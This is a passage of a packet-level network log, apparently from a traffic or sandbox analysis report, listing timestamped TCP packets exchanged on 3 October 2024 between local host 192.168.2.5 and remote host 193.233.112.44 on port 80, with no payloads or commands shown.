Oct 3, 2024 23:17:10.544764042 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.544786930 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.544801950 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.544807911 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.544816971 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.544821024 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.544835091 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.544841051 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.544852972 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.544852972 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.544864893 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.544886112 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.544892073 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.544903040 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.544919968 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.544929028 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.544943094 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.544956923 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.545303106 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.545317888 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.545332909 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.545351982 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.545363903 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.545371056 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.560759068 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.560775042 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.560789108 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.560817003 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.560833931 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.560937881 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.560954094 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.560966969 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.560982943 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.560982943 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.560990095 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.561008930 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.561027050 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.561068058 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.561089993 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.561110973 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.561124086 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.561243057 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.561269045 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.561285973 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.561290979 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.561304092 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.561317921 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.561500072 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.561515093 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.561528921 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.561541080 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.561544895 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.561568975 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.561585903 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.561651945 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.561670065 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.561695099 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.561707020 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.561745882 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.561769009 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.561790943 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.561808109 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.561924934 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.561943054 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.561959028 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.561973095 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.561980963 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.562000036 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.562062025 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.562076092 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.562103987 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.562114000 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.562352896 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.562372923 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.562387943 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.562401056 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.562402964 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.562408924 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.562419891 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.562427044 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.562436104 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.562436104 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.562453032 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.562455893 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.562468052 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.562489986 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.562491894 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.562509060 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.562527895 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.562531948 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.562541962 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.562566042 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.562999964 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.563014984 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.563036919 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.563047886 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.563055038 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.563064098 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.563080072 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.563080072 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.563097954 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.563101053 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.563108921 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.563113928 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.563133001 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.563138962 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.563139915 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.563155890 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.563177109 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.563178062 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.563195944 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.563196898 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.563206911 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.563239098 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.564292908 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.564307928 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.564342976 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.564353943 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.564433098 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.564480066 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.564594984 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.564618111 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.564634085 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.564640045 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.564647913 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.564662933 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.564673901 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.564690113 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.564699888 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.564726114 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.564850092 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.564896107 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.565021992 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.565037966 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.565052986 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.565068007 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.565074921 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.565076113 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.565095901 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.565099955 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.565110922 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.565123081 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.565143108 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.565155029 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.565223932 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.565246105 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.565265894 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.565273046 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.565279961 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.565299034 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.565423012 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.565443039 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.565457106 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.565465927 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.565471888 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.565490007 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.565509081 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.580252886 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.580269098 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.580306053 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.580317020 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.580436945 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.580455065 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.580468893 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.580483913 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.580485106 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.580492020 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.580501080 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.580507994 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.580521107 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.580535889 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.580563068 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.580579042 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.580593109 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.580605984 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.580606937 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.580616951 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.580622911 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.580637932 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.580638885 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.580638885 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.580653906 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.580663919 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.580668926 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.580676079 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.580687046 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.580707073 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.581932068 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.581948042 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.581964016 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.581981897 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.581994057 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.582000971 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.582087040 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.582112074 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.582125902 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.582133055 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.582142115 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.582142115 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.582158089 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.582159996 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.582179070 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.582187891 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.583271027 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.583327055 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.583436966 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.583460093 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.583487988 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.583498955 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.583995104 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.584039927 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.584151030 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.584171057 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.584187031 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.584194899 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.584203959 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.584223986 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.634752989 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.634772062 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.634798050 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.634814024 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.634814978 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.634833097 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.634848118 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.634849072 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.634866953 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.634891033 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.634905100 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.635224104 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.635241032 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.635257006 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.635272026 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.635288000 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.635293961 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.635293961 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.635313034 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.635320902 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.635329962 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.635340929 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.635348082 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.635359049 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.635364056 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.635371923 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.635390043 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.635390997 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.635404110 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.635413885 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.635432005 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.635447979 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.635653973 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.635673046 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.635689020 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.635691881 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.635704994 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.635706902 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.635716915 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.635744095 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.651170969 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.651225090 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.651240110 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.651285887 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.651302099 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.651362896 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.651379108 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.651401043 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.651411057 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.651422024 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.651432037 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.651441097 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.651442051 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.651453972 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.651479006 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.651880980 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.651897907 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.651912928 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.651926994 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.651930094 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.651938915 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.651952028 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.651952028 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.651964903 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.651978970 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.651985884 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.651995897 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.652010918 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.652021885 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.652028084 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.652044058 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.652048111 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.652057886 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.652069092 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.652086973 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.652095079 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.652102947 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.652110100 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.652121067 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.652123928 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.652137995 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.652143002 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.652152061 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.652328014 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.652352095 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.652368069 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.652383089 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.652398109 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.652399063 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.652410984 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.652420998 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.652436972 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.652524948 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.652543068 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.652575970 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.652575970 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.652640104 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.652656078 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.652671099 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.652686119 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.652686119 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.652710915 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.652723074 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.653028011 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.653043032 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.653059006 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.653070927 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.653074980 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.653081894 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.653089046 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.653101921 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.653105974 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:10.653110027 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.653124094 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.653142929 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:10.653191090 CEST	80	49710	193.233.112.44	192.168.2.5
